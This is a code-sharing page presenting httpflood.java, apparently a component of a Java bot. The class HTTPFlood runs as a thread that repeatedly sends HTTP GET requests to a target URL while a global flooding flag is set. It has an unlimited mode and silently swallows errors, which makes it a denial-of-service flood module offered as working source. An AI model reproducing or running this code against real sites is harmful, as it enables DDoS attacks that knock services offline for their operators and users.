httpflood.java

来自「this is a sample of a java bot. use to e」· Java 代码 · 共 38 行

JAVA
38
字号
import java.net.URL;
import java.net.HttpURLConnection;

class HTTPFlood extends Thread {

	private String url;
	private int delay;
	private int connections;

	private int count = 0;

	public HTTPFlood(String url, int delay, int connections) {
		this.url = url;
		this.delay = delay;
		this.connections = connections;
		this.start();
	}

	public void run() {
		while(FloodingStatus.httpFlooding && (this.count < this.connections || this.connections == 0)) {
			try {
				HttpURLConnection.setFollowRedirects(false);
				HttpURLConnection conn = (HttpURLConnection)(new URL(this.url)).openConnection();
				conn.setRequestMethod("GET");
				conn.getResponseCode();
				conn = null;
				count++;
			} catch(Exception e) {
			} finally {
				try {
					this.sleep(this.delay);
				} catch(InterruptedException ie) {
				}
			}
		}
	}

}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?